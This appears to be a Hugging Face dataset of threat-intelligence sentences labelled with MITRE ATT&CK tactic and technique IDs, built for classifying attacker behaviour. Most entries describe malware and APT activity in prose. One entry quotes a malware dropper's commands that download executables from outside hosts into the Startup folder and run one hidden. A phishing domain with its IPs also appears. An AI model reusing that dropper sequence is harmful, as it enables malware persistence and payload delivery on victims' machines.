madox81/Adema_ATTACK_DS huggingface dataset:
Input: Gorgon Group malware can decode contents from a payload that was Base64 encoded and write the contents to a file.

Tactics: TA0005
Techniques: T1140
Input: PS1 can utilize a PowerShell loader.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: WastedLocker can encrypt data and leave a ransom note.

Tactics: TA0040
Techniques: T1486
Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)

Tactics: TA0043
Techniques: T1591.003, T1591
Input: If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.

Tactics: TA0010
Techniques: T1011.001, T1011
Input: Machete used multiple compiled Python scripts on the victim’s system.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Tactics: TA0043
Techniques: T1592, T1592.002
Input: Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Tactics: TA0042
Techniques: T1586.002, T1586
Input: HotCroissant has encrypted strings with single-byte XOR and base64 encoded RC4.

Tactics: TA0005
Techniques: T1027
Input: Turn off or restrict access to unneeded VB components.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: On October 10, 2017, Kaspersky Lab’s advanced exploit prevention systems identified a new Adobe Flash zero day exploit used in the wild against our customers

Tactics: TA0002
Techniques: T1203
Input: Patchwork ran a reverse shell with Meterpreter.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.

Tactics: TA0042
Techniques: T1587, T1587.001
Input: PoetRAT has the ability to overwrite scripts and delete itself if a sandbox environment is detected.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: TinyTurla can query the Registry for its configuration information.

Tactics: TA0007
Techniques: T1012
Input: Operation Wocao has enumerated sessions and users on a remote host, and identified privileged users logged into a targeted system.

Tactics: TA0007
Techniques: T1033
Input: ADVSTORESHELL compresses output data generated by command execution with a custom implementation of the Lempel–Ziv–Welch (LZW) algorithm.

Tactics: TA0009
Techniques: T1560.003, T1560
Input: TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point.

Tactics: TA0004, TA0005
Techniques: T1055.005, T1055
Input: Additionally, Lazarus Group malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services..

Tactics: TA0005
Techniques: T1562.001, T1562
Input: Indrik Spider used wmic.exe to add a new user to the system.

Tactics: TA0003
Techniques: T1136
Input: Conti can utilize command line options to allow an attacker control over how it scans and encrypts files.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Molerats used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Epic encrypts collected data using a public key framework before sending it over the C2 channel.

Tactics: TA0009
Techniques: T1560
Input: Monitor newly executed processes that may leverage Microsoft Office-based applications for persistence between startups.

Tactics: TA0003
Techniques: T1137
Input: CharmPower can collect data and files from a compromised host.

Tactics: TA0009
Techniques: T1005
Input: MarkiRAT can retrieve the victim’s username.

Tactics: TA0007
Techniques: T1033
Input: KopiLuwak In November 2016, Kaspersky Lab observed a new round of weaponized macro documents that dropped a new, heavily obfuscated Javascript payload that we named KopiLuwak (one of the rarest and most expensive types of coffee in the world)

Tactics: TA0005
Techniques: T1027
Input: Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code.

Tactics: TA0009
Techniques: T1213, T1213.003
Input: BLINDINGCAN has encrypted its C2 traffic with RC4.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials.

Tactics: TA0008
Techniques: T1534
Input: The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.

Tactics: TA0003, TA0005
Techniques: T1197
Input: LitePower has the ability to download payloads containing system commands to a compromised host.

Tactics: TA0011
Techniques: T1105
Input: NETWIRE has used a custom encryption algorithm to encrypt collected data.

Tactics: TA0009
Techniques: T1560.003, T1560
Input: Astaroth has used malicious files including VBS, LNK, and HTML for execution.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Many of this APT’s components are signed with phony Intel and AMD digital certificates

Tactics: TA0005
Techniques: T1553, T1553.002
Input: Do not allow administrator accounts that have permissions to add component software on these services to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

Tactics: TA0003
Techniques: T1505.002, T1505.001, T1505
Input: These often do not require an action by the user for the exploit to be executed.

Tactics: TA0002
Techniques: T1203
Input: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting.

Tactics: TA0043
Techniques: T1591.004, T1591
Input: Lazarus Group has sent malicious links to victims via email.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

Tactics: TA0043
Techniques: T1595, T1595.002
Input: The file is named netwf.dat

Tactics: TA0005
Techniques: T1036
Input: System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.

Tactics: TA0007
Techniques: T1082
Input: Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.

Tactics: TA0003, TA0004
Techniques: T1546.005, T1546
Input: Remexi searches for files on the system.

Tactics: TA0007
Techniques: T1083
Input: StrongPity can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.

Tactics: TA0011
Techniques: T1090.003, T1090
Input: Machete takes photos from the computer’s web camera.

Tactics: TA0009
Techniques: T1125
Input: Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.

Tactics: TA0003, TA0004
Techniques: T1547.003, T1547
Input: Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use.

Tactics: TA0003
Techniques: T1554
Input: The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Lazarus Group has obtained SSL certificates for their C2 domains.

Tactics: TA0042
Techniques: T1588.004, T1588
Input: Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.

Tactics: TA0001, TA0002
Techniques: T1189, T1203
Input: Cannon exfiltrates collected data over email via SMTP/S and POP3/S C2 channels.

Tactics: TA0010
Techniques: T1041
Input: The initial beacon packet for Misdat contains the operating system version of the victim.

Tactics: TA0007
Techniques: T1082
Input: StreamEx has the ability to enumerate processes.

Tactics: TA0007
Techniques: T1057
Input: Rocke's miner, "TermsHost.exe", evaded defenses by injecting itself into Windows processes, including Notepad.exe.

Tactics: TA0004, TA0005
Techniques: T1055.002, T1055
Input: Ebury can disable SELinux Role-Based Access Control and deactivate PAM modules.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: KONNI has the capability to perform keylogging.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Additionally, Rising Sun can decrypt its configuration data at runtime.

Tactics: TA0005
Techniques: T1140
Input: GreyEnergy digitally signs the malware with a code-signing certificate.

Tactics: TA0005
Techniques: T1553, T1553.002
Input: Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.

Tactics: TA0003
Techniques: T1136, T1136.003
Input: This can help limit the caching of users' plaintext credentials.

Tactics: TA0006
Techniques: T1003, T1003.005
Input: Waterbear can scramble functions not to be executed again with random values.

Tactics: TA0005
Techniques: T1027, T1027.005
Input: Monitor for newly constructed network connections that may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

Tactics: TA0011
Techniques: T1008
Input: Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.011, T1574
Input: The tokens for each platform are hardcoded within the sample:November 2016 to January 2017: "Evil New Year" CampaignIn the early part of 2017, Group123 started the "Evil New Year" campaign

Tactics: TA0004, TA0005
Techniques: T1134
Input: Astaroth has been delivered via malicious e-mail attachments.

Tactics: TA0043
Techniques: T1598.002, T1598
Input: This may be performed during automated discovery and can be accomplished in numerous ways such as using Ping, tracert, and GET requests to websites.

Tactics: TA0007
Techniques: T1016.001, T1016
Input: Analyzing Gold Dragon As part of its initialization, Gold Dragon:  Builds its imports by dynamically loading multiple APIs from multiple libraries Gains debug privileges (“SeDebugPrivilege”) for its own process to read remote memory residing in other processes  The malware does not establish persistence for itself but for another component (if it is found) on the system:  The malware begins by looking for an instance of the Hangul word processor (HWP) running on the system

Tactics: TA0004, TA0005, TA0007
Techniques: T1057, T1055
Input: MURKYTOP has the capability to retrieve information about shares on remote hosts.

Tactics: TA0007
Techniques: T1135
Input: Confucius has used PowerShell to execute malicious files and payloads.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: EVILNUM can search for anti-virus products on the system.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Taidoor has modified the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key for persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Kimsuky has used ipconfig/all to gather network configuration information.

Tactics: TA0007
Techniques: T1016
Input: Lazarus Group malware has deleted files in various ways, including "suicide scripts" to delete malware binaries from the victim.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: InvisiMole can use zlib to compress and decompress data.

Tactics: TA0009
Techniques: T1560.002, T1560
Input: Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible .

Tactics: TA0040
Techniques: T1489
Input: SharpStage has checked the system settings to see if Arabic is the configured language.

Tactics: TA0007
Techniques: T1082
Input: GreyEnergy uses HTTP and HTTPS for C2 communications.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Rover searches for files on attached removable drives based on a predefined list of file extensions every five seconds.

Tactics: TA0009
Techniques: T1025
Input: Dridex has used the OutputDebugStringW function to avoid malware analysis as part of its anti-debugging technique.

Tactics: TA0002
Techniques: T1106
Input: Figure 3 Password handover form displayed after credential theft The infrastructure used in these credential harvesting attacks used the domain 0utl00k[.]net, which at the time of the attacks resolved to 107.175.150[.]113 and 195.154.41[.]150

Tactics: TA0006
Techniques: T1003
Input: It has also used common document file names for other malware binaries.

Tactics: TA0005
Techniques: T1036.004, T1036
Input: All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests

Tactics: TA0011
Techniques: T1071
Input: Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.

Tactics: TA0006
Techniques: T1003, T1003.001
Input: Andariel has inserted a malicious script within compromised websites to collect potential victim information such as browser type, system language, Flash Player version, and other data.

Tactics: TA0043
Techniques: T1592, T1592.002
Input: ESET’s analysis of a recent backdoor used by TeleBots – the group behind the massive NotPetya ransomware outbreak – uncovers strong code similarities to the Industroyer main backdoor, revealing a rumored connection that was not previously proven The post New TeleBots backdoor: First evidence linking Industroyer to NotPetya appeared first on WeLiveSecurity

Tactics: TA0005
Techniques: T1140
Input: PoetRAT has called cmd through a Word document macro.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.

Tactics: TA0005
Techniques: T1601, T1601.001
Input: After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.

Tactics: TA0006
Techniques: T1003, T1003.001
Input: FIN8 has used RDP for lateral movement.

Tactics: TA0008
Techniques: T1021.001, T1021
Input: CORESHELL C2 messages are Base64-encoded.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: Valak has the ability to decode and decrypt downloaded files.

Tactics: TA0005
Techniques: T1140
Input: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Lizar has a command to open the command-line on the infected system.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes.

Tactics: TA0007
Techniques: T1016
Input: ipconfig can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.

Tactics: TA0007
Techniques: T1016
Input: We’ve identified two such files: settings.db sdfg3d.db Here’s how such a database file appears:  These are BASE64 encoded and use the same RC4 encryption key as the malware configuration

Tactics: TA0005
Techniques: T1027
Input: OSX_OCEANLOTUS.D has a command to download and execute a file on the victim’s machine.

Tactics: TA0011
Techniques: T1105
Input: Clop has checked the keyboard language using the GetKeyboardLayout() function to avoid installation on Russian-language or other Commonwealth of Independent States-language machines; it will also check the GetTextCharset function.

Tactics: TA0007
Techniques: T1614, T1614.001
Input: Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using application control  tools, like AppLocker,   or Software Restriction Policies  where appropriate.

Tactics: TA0008
Techniques: T1080
Input: It can also identify logical drives for the infected machine.

Tactics: TA0007
Techniques: T1083
Input: Embedded functions Sleep, 15000  UrlDownloadToFile, https://upload.cat/0037e96c45ac2098?download_token=fa26750b7e73f0081c44831d0aaf9863c75592724dbc2f781ca495f9b5fbd4ac, %AppData%\Microsoft\Windows\Picture2.exe 6240c31d9a82dc70a38f78d44a1ee239  sleep,4000  UrlDownloadToFile, https://upload.cat/089590f6d72aeaef?download_token=dd21809321669aa2229b20b57e2c9d34a3b507b5df7406bcac5dbb87cd169b78, %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Picture4.exe cab62bb5f00fe15683c6af760c8e8f7e  sleep,4000  UrlDownloadToFile, https://dev-point.co/uploads1/4ee1d5a5b0e41.jpg, %AppData%\Thr0om.jpg  c90f9c600169cbedbeb23316ea61e214  sleep,4000  UrlDownloadToFile, https://upload.cat/ec9d388339b19e1c?download_token=131d5450c192d0591f3d06841eacc5bf5f344be9725be9456e2c222d0b4831e2, %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\333Po333.exe 8c5f8d1ab7baa9a0764cd5650ddecd8e  sleep,5000  UrlDownloadToFile, https://upload.cat/9a08bc13e683d330?download_token=90f1ebb4e1f52835f502bea4307686afc1eb1cdee973cef1fb043febb2a92078, %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsFrom444444.exe 2a3aa1d207030d8c7dc3cfc9c2d9f9f1  sleep,5000  UrlDownloadToFile, https://upload.cat/a1c05c819dadeefb?download_token=c6535b11a9f9bbf9e7681be8753f2058bac0df5264744be76605244e96a388f5, %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsFrom355353.exe bd83269da75741303a19b826c5f9627d  sleep,5000  RunWait %AppData%\Microsoft\Windows\Picture2.exe ,, hide sleep,2000 After analyzing the files downloaded from the above first stage malware, it was clear that the threat actor wanted to achieve stable persistence on the victim machine, and also used more than one technique to exfiltrate data

Tactics: TA0003, TA0004, TA0005
Techniques: T1547.001, T1036, T1547
Input: For example, monitoring for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running, may highlight a malicious downgrade attack.

Tactics: TA0005
Techniques: T1562.010, T1562
Input: Torisma is only delivered to a compromised host if the victim's IP address is on an allow-list.

Tactics: TA0005
Techniques: T1480
Input: Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems.

Tactics: TA0005
Techniques: T1218, T1218.010
Input: The malware sends an HTTP GET request to its C2 IP address using HTTP over port 443

Tactics: TA0011
Techniques: T1071
Input: Emissary has the capability to execute the command ipconfig /all.

Tactics: TA0007
Techniques: T1016
Input: Leviathan has used C:\Windows\Debug and C:\Perflogs as staging directories.

Tactics: TA0009
Techniques: T1074.001, T1074
Input: Rancor has attached a malicious document to an email to gain initial access.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Based upon the instructional guide and the provided tools, this package appears consistent with the methodologies FireEye outlined in their research on how these attacks were executed, including specific details such as the use of ICAP via a proxy passthrough, in this case specifically squid, and using certbot to create a Let’s Encrypt SSL certificate

Tactics: TA0011
Techniques: T1573
Input: LightNeuron can store email data in files and directories specified in its configuration, such as C:\Windows\ServiceProfiles\NetworkService\appdata\Local\Temp\.

Tactics: TA0009
Techniques: T1074.001, T1074
Input: The DNS protocol serves an administrative function in computer networking and thus may be very common in environments.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Shamoon obtains the target's IP address and local network segment.

Tactics: TA0007
Techniques: T1016
Input: FIN8 has also executed commands remotely via cmd.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways.

Tactics: TA0005
Techniques: T1564, T1564.005
Input: Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Tactics: TA0007
Techniques: T1007, T1069
Input: Ryuk has used multiple native APIs including ShellExecuteW to run executables,GetWindowsDirectoryW to create folders, and VirtualAlloc, WriteProcessMemory, and CreateRemoteThread for process injection.

Tactics: TA0002
Techniques: T1106
Input: Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.

Tactics: TA0007
Techniques: T1135
Input: They also targeted Yahoo users with applications masquerading as "Delivery Service" and "McAfee Email Protection".

Tactics: TA0006
Techniques: T1528
Input: The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.001, T1574
Input: POWRUNER can execute commands from its C2 server.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).

Tactics: TA0006
Techniques: T1003, T1003.001
Input: Many Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.

Tactics: TA0005
Techniques: T1070, T1070.006
Input: TinyTurla can install itself as a service on compromised machines.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: EnvyScout has used folder icons for malicious files to lure victims into opening them.

Tactics: TA0005
Techniques: T1036
Input: APT29 has downloaded additional tools, such as TEARDROP malware and Cobalt Strike, to a compromised host following initial access.

Tactics: TA0011
Techniques: T1105
Input: In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult.

Tactics: TA0040
Techniques: T1499, T1498, T1498.001
Input: LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.006, T1574
Input: It can also be used to query shared drives on the local system using net share.

Tactics: TA0007
Techniques: T1135
Input: Machete has created scheduled tasks to maintain Machete's persistence.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Monitor for third-party application logging, messaging, and/or other artifacts that may abuse SQL stored procedures to establish persistent access to systems.

Tactics: TA0003
Techniques: T1505.001, T1505
Input: For example, an application, that is not meant to read emails, is now accessing users’ mail boxes and, potentially, exfiltrating sensitive data.

Tactics: TA0005, TA0008
Techniques: T1550.001, T1550
Input: Ixeshe can list running services.

Tactics: TA0007
Techniques: T1007
Input: Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

Tactics: TA0040
Techniques: T1498, T1498.001